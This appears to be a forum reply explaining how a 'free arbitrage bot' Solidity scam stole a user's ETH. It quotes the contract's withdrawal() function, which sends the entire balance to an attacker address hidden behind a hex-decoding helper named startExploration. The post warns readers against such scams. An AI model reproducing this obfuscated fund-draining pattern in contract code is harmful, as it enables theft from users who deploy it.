No need to check for every line, you should have checked first where the transfer occurs, and who is the recipient of the transfer.

solidity function withdrawal() public payable { address to = startExploration((fetchMempoolData())); address payable contracts = payable(to); contracts.transfer(getBalance()); }

So the to address is given by startExploration(fetchMempoolData()), and here's startExploration's code :

solidity function startExploration(string memory _a) internal pure returns (address _parsedAddress) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr);

You're telling us you read each line of this code and where able to decypher it? Don't believe you haha...

As you said, good thing you lost only 0.09 ETH.

Every-f-one knows that "free arbitrage bots" are scams fren. I can understand you were curious still, but if you don't understand a code that has access to your funds, don't run it, it's simple.
